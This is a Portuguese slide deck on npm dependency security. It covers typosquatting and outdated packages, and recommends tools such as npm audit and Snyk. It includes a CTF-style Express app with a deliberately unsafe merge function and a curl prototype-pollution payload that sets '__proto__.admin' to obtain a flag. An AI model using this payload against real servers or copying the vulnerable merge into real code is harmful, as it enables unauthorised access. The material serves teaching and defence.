


Olá galera! Eu sou o Saulo Santiago.
Desenvolvedor Backend - Concrete Recife :)



Segurança nos módulos 
NPM
O perigo de estar vulnerável!



Cronograma

1 - O que você precisa saber 
quando instala pacotes do npm

2 - Erros mais comuns ao instalar 
bibliotecas

3 - O perigo de deixar as 
atualizações de lado

4 - Como um único módulo pode 
comprometer sua aplicação

5 - Passos simples para manter 
seu sistema seguro

6 - Segurança no longo prazo com 
atualizações automáticas



O que você precisa saber 
quando instala pacotes do 
NPM



Esses são os números!



Ecossistema NPM

O NPM é um 
ecossistema aberto, 
logo qualquer um pode 
contribuir e publicar 
sua biblioteca e 
também, por sua vez, 
qualquer um pode 
consumir as 
bibliotecas.



Erros mais comuns ao 
instalar bibliotecas 



Um dos erros mais comuns o Typosquatting



Não visitar a página dos novos pacotes a serem 
instalados
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Pull requests maliciosos e contribuidores 
comprometidos

No pull request maliciosos os usuários 
mandam enviam trechos de código 
solucionando problemas, porém vulneráveis 
intencionalmente ou que adicionam 
dependências a bibliotecas maliciosas.

Também existem diversos contribuidores da 
plataforma que possuem senhas fáceis de 
serem descobertas.



Esses são os números!



O perigo de não atualizar 
suas dependências...



Tudo começa com um email do GitHub



Porém...



Como um módulo pode 
expor sua aplicação toda



A falha de segurança do nosso exemplo



"Prototype Pollution, como o nome sugere, é a ação de mudar o 
Prototype de um objeto, podendo levar a execução de código remoto" 

blog.0daylabs.com/2019/02/15/prototype-pollution-javascript/



Como o Prototype Pollution funciona

// Você também pode brincar com esse exemplo

let pessoa = {nome: 'João'}

console.log(pessoa.nome)

// João

pessoa.__proto__.toString = () => {alert('atualização do baidu')}

console.log(pessoa.nome)

// um alert com "atualização do baidu" aparece

let pessoa2 = {}

console.log(pessoa2)

// {}

// um alert com "atualização do baidu" aparece

// se você continuar no navegador,

// ao clicar em qualquer lugar da página, um alert com a atualização do 

baidu vai aparecer...



Vejamos um exemplo
const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');

const isObject = obj => obj && obj.constructor && obj.constructor === Object;

function merge(a, b) {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
function clone(a) {
    return merge({}, a);
}

const app = express();
app.use(bodyParser.json())
app.use(cookieParser());
app.post('/signup', (req, res) => {
    var body = JSON.parse(JSON.stringify(req.body));
    var copybody = clone(body)
    if (copybody.name) {
        res.cookie('name', copybody.name).json({ "done": "cookie set" });
    } else {
        res.json({ "error": "cookie not set" })
    }
});
app.get('/getFlag', (req, res) => {
    var аdmin = JSON.parse(JSON.stringify(req.cookies))
    if (admin.аdmin == 1) {
        res.send("hackim19{}");
    } else {
        res.send("You are not authorized");
    }
});
app.listen(8080, '127.0.0.1');

console.log(̀ Running on http://${HOST}:${PORT}`);



Agora em detalhes
const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
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Código final:
const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');

const isObject = obj => obj && obj.constructor && obj.constructor === Object;

function merge(a, b) {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
function clone(a) {
    return merge({}, a);
}

const app = express();
app.use(bodyParser.json())
app.use(cookieParser());
app.post('/signup', (req, res) => {
    var body = JSON.parse(JSON.stringify(req.body));
    var copybody = clone(body)
    if (copybody.name) {
        res.cookie('name', copybody.name).json({ "done": "cookie set" });
    } else {
        res.json({ "error": "cookie not set" })
    }
});
app.get('/getFlag', (req, res) => {
    var аdmin = JSON.parse(JSON.stringify(req.cookies))
    if (admin.аdmin == 1) {
        res.send("hackim19{}");
    } else {
        res.send("You are not authorized");
    }
});
app.listen(8080, '127.0.0.1');

console.log(̀ Running on http://${HOST}:${PORT}`);



curl -vv --header 'Content-type: application/json' -d '{"__proto__": {"admin": 1}}' 

'http://0.0.0.0:4000/signup'; curl -vv 'http://0.0.0.0:4000/getFlag'

 

Só basta isso para invadir...

http://0.0.0.0:4000/signup
http://0.0.0.0:4000/getFlag


Passos simples para 
manter seu sistema 
seguro



Visite a página das dependências que você instala!

•Verifique o nome

•Quantos downloads por mês

•A quanto tempo o pacote recebeu 
atualização

•Veja se o número de Issues é muito 
grande



Utilize o npm audit

•Veja as falhas de seguranças 
encontradas em suas bibliotecas

•Verifique se há correção para a 
vulnerabilidade e no quanto ela lhe 
afeta

•Utilize também a correção 
automática o “npm audit fix”

•Rode os comandos individuais para a 
correção das vulnerabilidades





Utilize ferramentas como o Synk 



Mas como isso pode ser simples se eu vou ter todo 
esse trabalho?



O NPQ é uma ferramenta que faz tudo isso 



Segurança no longo prazo 
com atualizações 
automáticas



O Greenkeeper



Como utilizar

● Quanto custa? É caro?

● Como criar minha conta?

● Como adicionar o meu 
projeto?

● Pronto!
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Duvidas?



Centro

Av. Presidente Wilson,

231 - 29º andar

(21) 2240-2030

Cidade Monções

Av. Nações Unidas,

11.541 - 3º andar

(11) 4119-0449

Savassi

Av. Getúlio Vargas, 671

Sala 800 - 8º andar

(31) 3360-8900

www.concrete.com.br

Obrigado!

linkedin.com/in/saulo4

@SauloSantiago3

SauloSantiago4


